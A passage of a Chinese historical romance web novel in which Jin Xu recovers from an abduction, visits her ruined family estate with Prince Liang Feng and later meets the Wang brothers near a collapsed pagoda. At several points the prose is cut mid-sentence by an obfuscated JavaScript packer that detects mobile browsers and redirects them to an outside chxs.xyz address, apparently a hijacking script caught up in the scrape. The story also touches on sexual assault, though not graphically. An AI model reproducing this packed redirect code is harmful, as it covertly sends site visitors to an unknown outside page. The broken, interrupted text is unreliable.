他走近,缓慢俯身小心翼翼地贴近,脸颊轻触在她额头上,抓住她的手臂。金絮看见了他掌心里深刻的指印。 “我还能拿你怎么办......” 颤抖的尾音将他未说完的话打散,一颗东西砸落在她发间,金絮感觉五脏六腑强烈地撕疼,她握住梁风紧揑她的手。 “以后......不会了......” 梁风闻言,像是失而复得地一把拥住她,手指紧紧按着金絮的后背,既想抱紧她又怕碰到伤口。 “我就该让十三一直跟着你。是我疏忽了......” 梁风气息不稳,胸膛剧烈地起伏,金絮靠近他,抬手轻抚他的背脊,安稳他的情绪。 “我没事了,你别担心。” 梁风稳定心神,喷洒在她的发丝间的呼吸逐渐变得轻柔,手指慢慢松开。 “以后再不许......” 金絮抬头看他,眼神对接的瞬间,梁风止住了下半句话。 他手指轻拭金絮的眼角,金絮感受到了他长期骑射形成的指茧,微微粗糙的触感。 “感觉还好吗?” 声音听得金絮像是喝了一杯暖茶,她摇摇头,“很晕。” “回去吧。” “嗯。” “能走吗?” 金絮还是摇头。 梁风脱下外袍裹住她,将她抱起,唤了一声:“十三。” 十三推门而入。梁风道:“备马车。”接着又交代一句:“再去知会那个小姑娘。” 金絮忙问:“是柔竹吗?” “就是你屋子里那个小姑娘。” 梁风平稳地抱着她走出驿馆,馆外已备好马车。 金絮突然想起来,问道:“你没有上京吗?你是怎么找到我的?又怎么知道我被抓了?” “不知道。”梁风道:“就是昨晚突然想见你,不见到你不安心,我就去找你。那个小姑娘说你一直没回来,我就觉得不对劲,于是派人去找,差不多天亮时才发现你的踪迹。” 梁风抱她进马车,轻轻地放下,命人拿了绒毯将她裹了一圈,低声问:“还怕吗?” 金絮靠着他肩,身体仍有些发抖,“嗯。”声音几不可闻。 梁风双臂环住她,帮她抑制身体的颤抖。金絮轻声问:“你会怎么处置贾镇?” 他没说话,金絮继续道:“贾镇背后是三皇子。” “我会处理,你不用管。”梁风温声哄道:“头晕的话就睡会。” 可金絮再晕也睡不着了。 贾镇背后是三皇子。 而三皇子是皇帝最宠爱的儿子。 马车前行,丝毫不颠。金絮迷迷糊糊一闭上眼就感觉有个人在触碰她,无形的手甩之不掉,一点一点,探进她的亵裤和里衣、扯开她的腿...... 金絮缩紧身子,想摆脱掉这种感觉,可她越躲,无形的手越是凶狠地侵犯她。 她怎么也没想到,温柔馆里没成的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这、这......”金絮不可思议地看着梁风。 “我向皇兄要了这宅子,略作翻新,打算赠与你。”他笑道:“走吧,回家了。” 金絮强忍心中情绪,由他搀扶着下了马车,急急走进那宅院中,可右腿不听使唤,她也像是感觉不到疼痛,仍旧一步一拐地奔近。 “别急,你还伤着。”梁风抱起她,扭头吩咐侍卫道:“将李婶叫来。”说罢,便抱她进屋。 宅院一如她记忆中的模样,即便屋墙亭台、水榭阁楼都被战火侵蚀地难见其原貌,但这里仍旧是她的家。 金絮呆呆地看着,时隔十年,重拾陌生陈旧的记忆令她微微感到害怕,无意识地倚靠梁风怀中。 沿路断井颓垣,无不迷乱她的眼,一一与小时候的姹紫嫣红割裂。腰间的手臂用力收紧,她才发现自己不可遏止的颤抖已十分强烈。 梁风步入一间厢房,将她放在早预备好的床榻上。 “你看看,这是不是你以前的房间?” 金絮沉默不语。这里确是她曾经的闺房。可只有崩裂的窗户、陈朽的房梁和泥皮剥落的墙壁能见出一分旧时的模样,其余家私新设全是梁风布置的。 这从前的家仅剩一层壳子。 “空有一间旧屋,屋中无一旧人。”她道。 李婶走入,看见金絮便忙放下药箱与她把脉。 梁风坐她身侧,抚摸她的后脑,笑道:“我难道不是你的旧人?” 金絮闻言,偏头看着他。梁风眸中顿现怜意,对上她的眼神什么话都没说,手指轻擦过她眼角。 李婶松松束起她颅顶的发,拆解额间绷带,金絮看不见自己的伤,但能从绷带的血迹看出伤势的严重。 “不疼吗?”他柔声问。 金絮摇了摇头。 李婶处理好侧脑的伤,再解开脖子的绷带。这次金絮感到了疼,很细微,却很尖锐,她一声不吭,梁风握紧了她的手。 李婶继续给她的双颊上药。 “好姑娘,不哭啊。” 金絮咬牙吞咽喉中空洞的硬物,眼前景象越来越模糊。 “还伤了哪儿?” 金絮摸着自己的右大腿,张了张嘴,什么话都说不出。 梁风起身回避。李婶剪开她的裤子,一大片浓重的紫红淤青暴露于眼前,可她已什么都看不清了。 清凉的药油配合李婶的手法,疼痛明明更轻,金絮的眼泪却掉下来。 前夜被辱时的惊惧羞怒加之此刻重回故居的温暖与松懈,金絮再也忍不住,伏到李婶身上出声痛哭。 38. 陋室空堂 深深地睡了一觉,金絮醒来头昏脑涨。 连续三次睁眼都在陌生的地方令她微感不安,强撑着坐起来观察周围,害怕屋里有个不熟的人。 大脑被砸的混沌眩晕影响了她的判断,直到看清此番是在旧时居所后,才稍稍安心。 她靠着枕头,轻呼出一口气,不觉得渴。眼睛酸胀,她揉了揉双眼,脸上干干净净,只有药膏,没有泪痕,也不那么肿痛了。 想起先前因哭得太累而睡着,后知后觉感到难堪。梁风此刻不在屋内,想必就是容她独自一人调整心绪。 床头放了一面镜子,她拿来自照。镜中人发似枯草,白纱缚额,绷带无血迹,眼珠子红肿,双颊尚有些青紫与血丝,唇色苍白。她看着都觉憔悴。 看不下去了,置下镜面,她侧躺蜷缩身子,右腿的疼痛也轻了许多。 睡不着,她拢被抱着,心里想这床与她小时候的差距甚大。 这床太软了。 听见两下几不可闻的门响,她低低应一声,门推开,进来的人是梁风。 她看了一眼,梁风还是那张黑白分明的脸。她往被子里缩。 “莫动,小心压倒伤口。” 梁风坐到床边,轻手摆正她的脑袋,手指抚摸她脸侧的肿伤,“饿不饿?” 金絮这时才闻到他带进的粥香,她赶紧坐起来,牢牢盯着那碗粥,那是碗煮得恰到好处的药粥。 “小心烫。” 金絮顾不了这许多,梁风端着碗,她拍掉梁风要喂她的手,抓起勺子就开吃。勺子很小,她嘴不用张很大,不会扯到脸伤,但这一小口一小口忒不过瘾。 “别急,慢点用。” 迅速吃完一碗,金絮拎着空勺看着他,他笑了笑,“你刚醒来,不宜吃太多,晚点再吃。先喝药。” 金絮依言。他唤了李婶拿药来。药只有小半碗,金絮就着他的手喝药。 “对不起。” 金絮咽喉一顿,缓慢地把药咽下,抬头看着他。梁风手指沿着她的鬓角轻轻摩挲。 “我昨天有点凶了。你伤还没好,我即便再生气也不该.......” 金絮垂下眼,继续喝药。 “可我当真气你。” 她不说话。梁风指尖在她肌肤上轻轻一按,“我当真气你。” 她没想到他会那么生气。 现在冷静下来,想想当时一刀割下可能造成的后果,还是有点不太愿意面对他。 “你不用道歉。”金絮嗓音微哑,缓缓道:“我也不会跟你道歉。” 她不看梁风的眼睛,喝完了药,将碗推给他。梁风似乎微微一叹,指腹滑下她的脸颊,沉默地握住她的手,慢慢握紧,什么话都没说。 金絮低着头,用一点力推拒他的手臂,推不动,感到他注视在自己身上的目光变得纠缠与不舍,她浑身震疼了一瞬,最后还是道:“以后我不会那么做了。” 他松开了手,恢复呼吸,深深喘了几口气,嘴唇贴上她额头的绷带,轻蹭以作安慰。 不等他开口,金絮张嘴却是道:“王爷,谢谢你。” 他身上的时间又是一停,“你说什么?” “我说谢谢你。” “你净爱说些我不爱听的。” 他将药碗在床头案几上一撂,碗底磕碰出声,勺子撞到碗边缘震颤得似要碎掉,“不道歉就说感谢,你可真是会说话。” 他又生气了。 “固然不爱听,该说还是得说。” “但这是不该说的。” 他皱眉铺开她的棉被,“你总是让我生气。” 类似的话,他好像是第二次说。 金絮却感到身上轻松了些,她笑道:“我想出去走走。” 他脸色一板,“伤还没好,做什么要出去?” 金絮仍带笑,“看看这屋子,好久没看了。” 他一忖,脸色稍许缓和,“腿还疼么?” “不疼了。” 金絮看他神色就知道他许她下床走走了,于是利落穿鞋,落地时右腿微有不适,但尚能走路。 梁风扶着她下了床,给她披件斗篷,盖上兜帽,将风挡得严严实实。 “不用扶了。”她走两步,右腿些微跛着,并不是很疼。梁风还是紧随她身边。 金絮心情雀跃地出屋。昨日情绪激动,未分出心神仔细察看,此番细看后才发觉这宅子内虽然破败,但是很干净,不显荒凉,庭院房屋、游廊花园无一杂物,甚至花草池鱼、山石竹林、门扉窗牖都无。 “空的。”金絮喃喃道:“什么都没有。” 梁风扶端她的肘臂,“去年我到太南时就接手了这处宅子,这大半年来只简易修整了一番,去掉了烧毁的房屋和枯死的庭院植被,清理了府后马场,剩下的具体如何新建,我等你拿主意。” 金絮抿嘴不语,脚下的步子却不自觉向马场走去。 绕过水榭,转角处遇见了李管家。金絮有些意外,“李管家?” 李昇不似京城时的穿着,朴素的打扮不像一个王府管家,花白的胡子梳理齐净,眉目丰神俊朗。 他弯腰朝梁风一揖,“王爷。”直起身后跟金絮蔼蔼一笑,“絮姑娘。” “李管家怎么在这?” 李晟后缀于金絮半步,跟随前行道:“王爷与姑娘出游前,命我监管潇别府中一切修整事宜。” “老李在这,那你京城里岂不是没人了?” 他无谓笑笑,“不打紧。你不如先想一想,这座府邸起什么新名字好。” 名字? “不如叫红府。”他道。 “洪府?” 梁风笑意盈盈的眼里映着她,“红叶生的红。” 金絮想了一想,反应过来他说的是哪个红,心里嘀咕叫红未免也太奇怪了。 低头注意到他双手不知何时从背后端住了她两臂,这姿势过于亲昵,金絮拂开他双手,抬头却见他看着前方,眼眸燎原的明亮。 穿过这道拱门,前面就是潇别府从前的马场。 顾家是太南有名的世家大族,而她母亲顾南蕴也曾是闻名京都的才女。但金絮却知道,母亲在外人看来是个温柔贤良的才女,背地里却是个喜欢骑射练剑的侠女子。 父亲便给母亲在太南造了这座府邸,专门辟了一处辽阔的驰马场供母亲玩乐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839773|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这马场极大,含括两座矮山和一片平原。金絮小时候记忆的源头就是在这片平原里与母亲和三两仆从一起痛快驰骋的经历。 金絮不觉笑了起来。 穿过马厩,阳光暴晒下的草地露于眼前。 天清气干,死寂空芜,远处矮山秃秃直耸,指甲盖长的弯曲枯草铺满地面像是年过半百之人脸上的胡渣,微风中甚至能嗅到数年前在此处被骑兵一刀割喉的人喂养草地的鲜血。 金絮敛了笑,转身,走去隔马厩不远的一座藤花凉亭。 凉亭也破旧了,藤花正值期,紫红的花朵满绽,却不如从前密集,是唯一还令她稍觉能够与小时候画面重叠的样子。 马场风大,金絮坐于亭下,梁风合严她的斗篷,一丝风都不漏。 “絮姑娘,这片马场我已重新施肥养护,过个一年,定能茂盛堪比从前。” 李晟立在她旁边,笑道。金絮也笑了一下,道:“好,那我一年后再来看看。” 李晟似乎一愣,继而道:“絮姑娘,我将从潇别府中清出来的遗物规放在了库房内,您可以去看看有无需要留下的。” 金絮脑海里出现那年她举家避去京城时阖府上下乱作一团的场面。 “好,我去看看,是西殿后面那间库房吗?” “是。” 十年前太南遇上横扫整个长泽中下游的造反军,当时整座城都没剩下什么东西,后她的父亲金延守遭皇帝清算,连带太南这处宅子都被清缴了,更不会剩下什么完整的物事了。 “李管家,劳您还惦记着。” “帮絮姑娘记着的事也是在为王爷记着。”李晟十分恭敬。 四周很静,只有风过。 金絮努力想与李管家闲聊转移自己的注意力,可是找不到话题,便见李晟抬了头专注地凝视着廊下另一侧。 金絮知道老李在看什么。她垂眸,观察亭柱边角细碎杂草,指尖无意识地按压斗篷,杂草簇拥亭柱,斑驳的白漆衬着草叶脆黄,看了半晌,她手指一紧终于松开了篷布,缓缓扭头望向她身旁。 绿藤稀疏地缠绕亭顶,垂落几株饱满的紫藤花,花尖轻摆时微微曲起的弧度像个钩子,勾住欣赏它的目光。阳光越花而降,轻蹭他的睫毛与眉梢,投入他眼中化作一片细极的光彩。藤下是一套石桌椅凳,梁风手指轻抚桌沿,微微低头看着桌侧一张石凳,侧身对着她,眼神像是深陷于回忆之中。 桌面有落花与灰尘,他沾着灰尘的手指触到一点花蕊,指尖微捻着描摹花的轮廓。不知想到了什么,他眼神邃得更深,唇畔露出一抹透入全身的笑容。阳光霎时变得浓烈起来,晶莹剔透的亮光点缀着花串摇摆的弧度,花朵随着风的温柔渗进那无垠光彩中。他的笑容逃出了一声低低轻唤:“阿絮......” 紫藤花下,这里也是她与梁风初遇的地方。 金絮眼中光影一闪,她撇开头,遮掩心中颤栗,她意识到自己走了神。她回过神来,只觉自己是被太阳的光彩吸引了目光。 她无声呼吸,再度向他看去,梁风恰时看了过来,金絮一瞬间感觉似有花瓣的香气拂面飘过,恍惚间回到小时候在这间亭子下无忧虑的模样。 39. 别有目的 “阿絮。” 梁风笑着上前牵她,可她手拢在斗篷内,他牵不着,于是贴肩坐到她身边。 “第一次遇见你时,你坐在那儿,我还未出声,你就回头看了我一眼。”梁风回忆道。 金絮只点点头,她并没有陷入回忆。 “我记得那年藤花很好看,却没有多看。”梁风坐她身旁,仰头观赏一串串紫花,花尖隔空勾住他嘴角的微笑。 仆从端了茶来,金絮随意问道:“那你看了什么?” 梁风笑意柔柔,低头看她,“自然是看比藤花更好看的。” 金絮没什么反应,扯开话题,“你说这宅子要赠予我?” 话题的强硬转开似令他思绪略顿,他眨了眨眼才道:“嗯。” “我不要。” 她补一句:“这座府邸现在只能姓梁。” 梁风神色微有遗憾,但不浓烈,“我知道,你自然是不会要的。即便你要,我可能也不会希望你住进来。” 金絮现在还是不能曝光的罪臣之女的身份,住进自己老爹的旧宅,万一皇帝疑心一查,极易发现金家还有后人。 “只不过这府邸的修缮我还是希望按你的意愿来。” “不用了,我又不住。” 金絮想回房了,站起身,刚迈出两步又记起什么,扭头看他,见他仍怔神地看着凉亭发呆,便道: “还是按我的意思来修缮吧,若按你的喜好只怕是会修成第二座潇别府。” 梁风一眨眼回神,想了想后看着她了然一笑。 “但这座凉亭我还是希望能修成原来的样子。”他道。 金絮转身离开马场,语气闲闲,“修好了,也不会是原来的样子。” 她一瘸一拐地走着,梁风追上她,扶着她双臂。金絮挣不开,便就任他扶着。 两人一颤一扶地向前走,金絮四处察看府中各处,思考每个亭阁水榭可做什么改变。风声寂寂良久。 她突然开口:“林公子查得怎么样了?” 梁风神思似是还有些恍惚,沉吟了片刻道:“林童忆的背景很简单,过去经历也不复杂。几年前避难从西南的一个小县迁往京城,路过太南,可能就是那个时候遇见你的。那时金丞相还未出事,你还没有离开太南。” 金絮语气随意,“查得还挺快。” 与林童忆跟她说的差不多。 绕回水榭,池中水质浑浊。 梁风再次沉默下去,金絮提起另一话题,“你这几日住在哪里?” 他道:“西厢房。” “怎么住厢房?正房空着不去住?” 他微抿嘴,眸中色黯,轻声道:“因为我总还觉得,这间府邸的主人是金丞相。” 金絮一默,不答话。 没料到他竟还想着那些事,她开了个不好的头。 金絮略一想,道:“你之前不是一直问我,我为何会去到温柔馆?” 梁风的注意力自然被她引来,金絮移开视线,缓缓道: “我当然不是自己卖身进去的。” “那年我从你府中出来后,独自回了太南,可那时潇别府已经被造反军打杀一空,府中只剩一位断了手腿、避战躲来的远房舅舅。” “舅舅无法自理,身边只有一个仆从。仆从一边赚银子买药,一边还费心尽力照顾舅舅。”她笑了笑,“刚开始舅舅还挺高兴看见我的,只是后来银子实在不够了,他们就趁我夜里发烧时将我卖给了人牙子。我醒来后,就已经在温柔馆了。” 夏风鼓吹她的斗篷,暖暖阳光下金絮声音清清淡淡,“这座宅子对我来讲,也不完全是好的回忆。” 那时她千辛万苦来到太南,这潇别府只剩了个空壳子,远房舅舅也不甚熟悉,印象中只在小时候见过一面。 “只是后来听说舅舅还是死了,那个仆从也不知去了哪里。” 梁风手掌收力,扶紧她的两臂,“以前怎么不同我说?” “同你说有什么用?”金絮抬头看他,“而且你也已经帮了我了,当年如果不是你.....” 当年如果不是他,她想必已经死在那些达官贵人身下了。 “我至少能帮你找到你舅舅,至少能让你家中多留一人。” 金絮低下头,“可我不想欠你更多。” 两人停下脚步,已行至正殿门前,金絮脱开他的怀抱,沿矮阶走近殿内,嘴里却道:“已经欠了你的,要说还,尚且还得起,再多,就还不起了。” 从前每年都有几月父亲会自京城南下,来太南看看她们母女。每每父亲就是与母亲住在正殿,一边与母亲絮叨,一边还要处理政务。 如今屋已空,屋中人已不在,就连她最喜欢的父亲的那张很大的案桌也都没有了。 “你想还么?” 梁风在她身后轻轻问。 “你怎么还?不如欠着,至少你还能惦记着我。” 金絮分心道:“李管家惦记着你。” 李晟十分恭敬,“我惦记着王爷,但我的惦记与絮姑娘的惦记不同。” “说的是,不一样。” 他说完,金絮便感觉到他的目光注视着自己,而她的注意力却在新置的一张书桌上。桌案很大,桌上是他用惯的四宝和几封信件,信件都盖着尊贵辉煌的印章。 金絮不动声色走近,几张信纸是展开的。她忽地想起一事,抬头看他,“我竟忘了问你,你向皇帝要了这宅子,皇帝没说什么?” 梁风欲言又止,金絮自答道:“哦,是我多嘴一问。那皇帝还能怎么想,你要了前丞相的旧宅,自然是疑心你会秘密与前丞相的旧部有来往,然后查你是否在谋划夺取他的位置。” 金絮呵呵一笑,“那昏君还能怎么想。” 梁风皱了皱眉,却没有反驳她的话。 金絮也不理他,悄悄打量那些展着的信件与谍报,其中说道朝廷派了刺史许义到太南郡,说皇帝在细查他这几月做了何事,说朝堂关于立太子的纷争已如火如荼。 还有一封信收在信封里,金絮不便多看,念叨了一句:“这昏君心眼真多。” 梁风将信递给她,“想看便看,我没有说不许你看。” 她也不客气,拆了阅毕,再还给他。 信的内容说的是他的婚事。皇帝打算让御史大夫谢傅的孙女嫁给他。金絮回忆了一下,想不起御史大夫的孙女今年是多大年纪了。 原来他今天心情不好是因为这些。 “阿絮你说,皇兄为何如此顾忌我?”梁风声音暗含怨疑,“我们这几月,沿路都有皇兄的探子盯随,我也从未避讳将行踪泄露给皇兄知道。” “那昏君竟盯了我一路?”金絮有些吃惊,“你不是说我们还没到支郁村才被他发现你的行踪吗?” 梁风面露愧疚,“是我在白沙县才发现他的探子,想必早在我初次离开太南前就已被他监视着了。” 金絮忍了忍,没忍住,朝外喊了一句:“十三,你们十几个人都没发现?” 屋外静悄悄的,过了两息,十三出现在门口,朝梁风抱拳跪下,“属下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839774|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无能。” 他身边能人多,但很显然,皇帝身边能人更多。 金絮没有立场去指责什么,默默叹气,十分无奈地坐下,揣摩一番道:“幸好有我陪着你。身边跟着个女人还能佯装游山玩水,皇帝不至于太过疑心你,否则早就一封圣旨召你回京了。” “我们的确是去游山玩水,不用佯装。”梁风道。 她的气叹出来,回想这八个多月居然一直有双皇帝的眼睛看着她的一举一动,浑身不痛快。她起身,在房中来回踱步,还是静气帮他分析道:“你虽然行事从不避讳他,可你也不听他的命令。在他看来,不会认为你完全受他掌控。” “我只有在娶妻一事上违逆过他。”梁风道。 “可娶妻事关重大,你娶个让他放心的人,不就能安安心心在京城待着了?” 梁风闻言,金絮清晰地看见他眼神空洞失焦了一瞬,他五指蜷缩,紧抿着唇一言不发地看着她。 金絮也不知道自己刚才说了些什么,见他唇色微微泛白的,放软语气道:“对不起,我说错话了。” 梁风再不看她,扭头走去内间。 金絮下意识想追去,刚跨出两步,她又还是停下脚步,收回了隔空捕他的手。 十三不知何时隐去,屋中只剩她和李晟。 金絮问:“李管家可知那御史大夫的孙女今年多大?” 李晟揖道:“明年年初方才及笈。” “这样......年纪小了些。” 整整大了一轮。 李晟道:“絮姑娘,王爷似乎生气了。” “我知道。但是我并没有说错。” “絮姑娘,王爷也知道您没有说错,只是......” “只是他不爱听。”她道。 金絮迈步出屋,夏风烈烈,她坐于一株树下的石凳,凳板凉凉,静听树叶沙响。 披散的头发与树梢一起飞扬,划过耳畔,金絮怔怔地看着暖日发呆。 “进屋。” 身后传来一道命令,她回头,梁风站在不远处皱眉看着她。 “伤还没好,少吹些风。” 她这才感到伤口被风吹得泛起冷疼,拢拢斗篷,进了屋。 “对不起。” 刚踏进屋中,金絮抓住他的衣袖道。 “不想娶就不娶吧,人生大事,将就不得。” 他僵硬的神色稍稍缓和,金絮打量他,注意到积于他眼中的郁塞之气散了些。 梁风搀扶她回卧房,唤李管家备了粥来。金絮喝了粥,饱暖思睡觉,她低低地捂嘴打个哈欠。 “睡吧。”梁风道。 金絮整理衣服钻进被子里,见他欲言又止,便问:“想说什么?” “我若娶你......” “不嫁。”金絮打断他。 梁风脸色不变,双手继续镇定地为她整理床榻。 “你想娶一个老鸨?” 他捏被的手一顿,看着她道:“你知道我无谓这些。” “不嫁。”她躺进被子里,又重复一遍。 他仿佛没听见,顺手替她理好发丝。 关妥门窗,梁风转身欲出去,金絮侧目看着他的背影道: “我若哪天主动接近你,那我定是想利用你。” 他彻底僵住,原地怔了半晌,才人提木偶似地转过身来,牙缝漏道: “小心别压倒伤口了。” 说罢,转身出去。 金絮收回视线,闭上眼,慢慢睡着了。 40. 塔 金絮住在潇别府一直养到伤好,期间柔竹来看过她一次,给她带了许多点心。金絮尝了个鲜,心情不错。 额伤痊愈后,金絮去库房看了李晟清出来的遗物。没几个完整的东西,大多是破碎的,也不值钱,值钱的早都被仆从乱军抢走了。她随意翻了翻便罢。 梁风这几日有些忙,似乎是忙着应付刺史大人,金絮不多问。想起先前答应他修府的事情,便拿着《道德经》挑闲暇时与他一同想好了这座府邸的名字——和光府。 和光府他定不多住,于是金絮便不打算修缮得过于复杂雅致,不要池水、少些绿植、厢房不摆过多陈设,不养马的话就将马场封起来,如此一番要求列下来,金絮又觉得太过朴素,显不出王爷别邸的气派。 “素便素吧,全按你的喜好来。” 他道:“我的宅子太多了,住不过来,布置得简单点也好,不用安排太多人每日洒扫。” 金絮便敲定了,详细列了修缮事宜嘱咐李管家,转头问他:“你有几座宅子?” “三座吧。京城两座,这里一座。” “那倒也不算多。”想想她父亲生前是多少座宅子来着。 金絮道:“还有个事同你说,我的伤好了,明日就搬回去。” 梁风以伤未好为由留她连日住在和光府,她早想回家了。 “伤好了......”梁风略略迟疑,“那你便回去吧。”他想到什么,忽地一笑,“你如今要离开倒是懂得知会我一声了,不会不告而别。” 金絮愣了一下,沉默不语,想了想还是开口道:“你要回京时让十三告诉我,我送送你。” 他闻言,欢喜地捏捏她的手腕,“好啊。”坐到她身旁,“那明日我让十三送你回去。” 金絮点头同意了。 不等和光府修缮完毕,她便准备离开。隔日李婶留她吃了中饭,过午后,金絮乘十三备的马车回家。 早晨下了场大雨,街道湿闷,落叶枯枝残花粘着大地,阳光不烈却热,金絮靠着车壁昏昏欲睡。 行至一条大街,街道上忽然人声鼎沸,脚步杂乱,金絮被闹醒,睁眼问道:“十三,怎么了?” “姑娘,前方路堵了,需绕路通行。” 她掀帘看。街道行人纷乱,不远处的街口几百人聚作一团,堵了路口。这堵住的地方正好是祈福街街尾与南大街的交汇处,两街庞大的人流相撞,外围聚集了越来越多好奇的人,内圈人被挤得出不来,难以疏通。 她站高看得远,注意到人群中心耸动起来,似是中心人想暴力冲出包围圈。 “快救人!” “通知官府救人啊!” 人群中传出撕扯的喊话。行人议论纷纷。 “十三,你快去看看是怎么回事。” 十三纵身而起,跃上屋顶,沿相连房舍飞踏至拥堵核心。 她位于南大街左半道的中央,人流不如祈福街多,但这一搁停的功夫,她的马车已经被后面拥上来的人群堵住。 金絮向车厢后看,发现她车斜后方十来步外尾随了另一辆马车,挡住了她的视线。 那马车颇显豪华,车身有家族标志,她盯着瞧了一会,认出是京城王家的车轿。 王家的生意做到太南来了。 金絮有些意外,思及王家有做书肆生意,便想着要不要趁此机会去打个招呼,十三回来了。 “姑娘,是祈福塔塌了,堵了祈福街尾,压住了几个人,已经有人通知官府。” “祈福塔?”金絮再问:“官府的人会从哪个方向过来?” “应是从南大街右半道而来。” “既如此,那便就先堵着吧,等路疏通再说。” “姑娘,您若急于先行,属下可以带您出去。” “不用了,不着急。” 金絮留神细看王家那边的动静,注意到王家派去前方打听的人也回来了,说的什么她听不清。那人说完,马车垂帘一侧露出一只手拢帘,金絮认出那是个男人的手。她收回视线,目视前方,仍旧站在车舆外侧。 过了一会,金絮听见一声呼唤: “絮娘?” 她稍有疑惑地回头,见那马车站出的是个十六七岁的少年。 她微微一笑,端方福礼,“王三公子。” 王靖似十分惊喜,朝马车内喊道:“哥,你瞧,是絮姑娘。” 金絮一愣。王家马车内跟着钻出王殊,王殊见到她也面露惊疑。 这两兄弟总是在一起的。 金絮同样行礼,“王大公子,好久不见。” 王殊琼林玉树,摇着折扇打量她身周,视线略过了十三,笑问:“絮姑娘一人在此?” “是。”金絮也笑道:“二位公子怎突然现身太南?” 王殊微微一笑,温和礼道:“前来处理一些事情。” 王靖却急急抱怨起来:“絮姑娘,我告诉你知道。还不是因为漕粮出了事,阿爹不顾责查当地,却命我哥亲自前来探查。山高路远的,还非得要我一同前来,说不查清楚就不许回去!絮姑娘,你说我爹是不是不讲理?” “漕粮?”金絮问:“是太南的漕运出了问题?” “正是。”王靖叫苦不迭,“又不是很大的事,你说爹为什么不派个下人来?” 王殊折扇轻轻敲了王靖一肩膀,王殊不满地看着他,末了撇开脑袋不再抱怨。 金絮知道梁风最近在忙什么了,也知道为何未到年底却有刺史下郡考察。太南靠近长泽中游,当年战后满目疮痍的太南郡就是凭借漕运枢纽的地位才在仅仅七八年后得以重建。 她忙问:“是附近长泽流域发了涝灾?” 王殊颔首道:“五月初洪水决堤,淹了几艘船只。絮姑娘有家人在漕运做事?” 金絮又是一愣,不太习惯王殊的思路,“呃......当然不是,随口一问。” 王靖话语转得极快,又高声喊道:“絮姑娘,你怎不在京城了?我很喜欢上次那个个子高高的姑娘。” 金絮知道他说的是火蓉,便道:“火蓉姑娘尚在京城中,靖公子若喜欢可自去寻她,与她交友。” 四周人声嘈杂,三人立在车上,隔空遥遥喊话。 王殊问:“絮姑娘如今是在太南定居?” 金絮点头承认。 “真是可惜,我近几月可一直惦记着絮姑娘呢,却不曾想絮姑娘竟是在太南这样山清水秀的地方讨清静。” 金絮仔细看了看他的神色,见一派风清云淡,毫无戏谑之色,心下了然,笑道:“殊公子是大忙人,漕运灾事尚未处理,怎会得空惦记旁人?” “你则是在忙的时候也会惦记着的人。” 金絮笑容不变,提醒他:“温柔馆以前的姑娘里也有不少惦记着殊公子的......” “辜负了那些个的惦记我却是不觉得可惜,只我惦记的人辜负了我的惦记才觉可惜。”王殊与她一来一往显然驾轻就熟。 金絮却有些招架不住了,忽然觉得自己在温柔馆修炼的几年简直毫无所成。她刚才应该躲进车里的。 她想不出说什么话,直见王殊脸上的笑愈发春风得意,只好转移视线,结果听见王殊的调笑声。金絮有些尴尬,却实在找不出话,沉默地立在一边。 十三在她身侧踏出一步,这时隔街不远处传来熟悉的哨音,她下意识抬起头向那方看去,未看清又赶紧低下头,贴躲车檐底下。 王殊笑道:“姑娘莫生气,在下方才言语冒犯了。我只是想知道絮姑娘你离了京城后过得如何?” 金絮看他一眼,想了想还是福礼道:“我过得很好,多谢殊公子挂心。” “不挂着你,我这心上也不知还能挂着谁了。” 金絮不想说话了,侧身避开王殊的注视。自从不在温柔馆里后就再没听过这类话了,王殊即便不是世家公子,青天白日话语如此露骨,还是让她稍觉不适。 “哥,你不要和絮姑娘这样说话,不妥。”王靖大喇喇道:“别人教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她打开车厢门,却踏不入,手臂被他拉着,心里涌起的躁郁之气无法盖过手腕越来越重的力道,金絮压了压,叹出来,无奈道:“他们只是说了几句我不爱听的话而已,是我不该迁怒于你。” “那我便不问了。”梁风不放她的手腕,“我先带你离开这里。” 说罢,不由她挣扎,端住她双臂,金絮只觉微风在周身旋转了片刻,她便站在了街边一处屋顶上。 空气蓦然开阔,阳光直接地照下来,暖烘烘地晒着她发凉的手指。金絮深深呼吸,吐出怒气,脑中变得清明。四周嘈杂的人声涌入耳中,这才大概看清了两条街道的景况。 密密麻麻全是人头,部分地方互相拥挤推搡谩骂,南大街另一头已经来了官府的人,几个武功高强的衙卫在房屋间跳跃高喊行人不要拥挤。 从这里可以看到祈福塔坍塌的残骸,只有原先半个塔的高度,那附近聚集的人群是最耸动的,嘈杂的吵闹也是从那处发出。 “你迁怒于我也无妨,只是不要迁对皇兄的怒。” 梁风幽幽地说道。金絮抬头,心里小小一哼,不多计较,脚下站不稳只能扶着他。夏风旋身而过。 